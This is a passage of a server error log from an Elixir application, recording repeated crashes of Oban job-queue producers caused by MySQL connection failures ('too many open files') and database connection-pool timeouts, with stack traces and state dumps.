    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:56:50.239797Z], limit: 5, uuid: "99c919b2-ac0b-4707-8297-b90dcb577437", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:56:50.239803Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.12181>, refresh_timer: #Reference<0.2525715032.1077673987.12137>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:57:04.847000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:57:09.032000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:57:10.525000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:57:10.822000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:57:13.147000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:57:13.638000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:57:14.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 884ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:57:02.237535Z], limit: 5, uuid: "61a49d81-fff5-41b7-a7a7-256ffec54d96", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:57:02.237541Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.147190>, refresh_timer: #Reference<0.2525715032.1121189889.147177>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:57:14.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 837ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:57:02.239902Z], limit: 10, uuid: "86010863-a374-4542-98d7-19967c249eed", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:57:02.239910Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.147192>, refresh_timer: #Reference<0.2525715032.1099431938.37530>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:57:14.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1097ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:57:02.245727Z], limit: 20, uuid: "fb821fc7-eeed-4d92-854a-ae8c5d35531e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:57:02.245734Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.147191>, refresh_timer: #Reference<0.2525715032.1099431938.37529>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:57:14.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1088ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:57:02.246002Z], limit: 50, uuid: "20079674-eb0f-45c7-9589-7b03d72a06a6", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:57:02.246009Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.147193>, refresh_timer: #Reference<0.2525715032.1099431938.37540>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:57:14.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1012ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:57:02.258168Z], limit: 5, uuid: "2cc7184c-d5cd-4774-8f55-6b8b1aa3080d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:57:02.258174Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.147238>, refresh_timer: #Reference<0.2525715032.1099431938.37558>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:57:14.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1044ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:57:02.245717Z], limit: 3, uuid: "c1780beb-7549-4e9a-8e5d-f936b8e4a413", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:57:02.245724Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.147194>, refresh_timer: #Reference<0.2525715032.1068498948.40283>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:57:14.310000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:57:15.282000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:57:16.692000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:57:17.576000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:57:21.219000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:57:23.830000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:57:26.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 894ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:57:14.241720Z], limit: 20, uuid: "76b71af9-b835-420a-961f-1ee90a128412", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:57:14.241725Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.147621>, refresh_timer: #Reference<0.2525715032.1077673987.12472>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:57:26.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1067ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:57:14.241854Z], limit: 50, uuid: "b7dee9ed-211d-4ffa-8b7a-5f0004e94457", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:57:14.241860Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.147624>, refresh_timer: 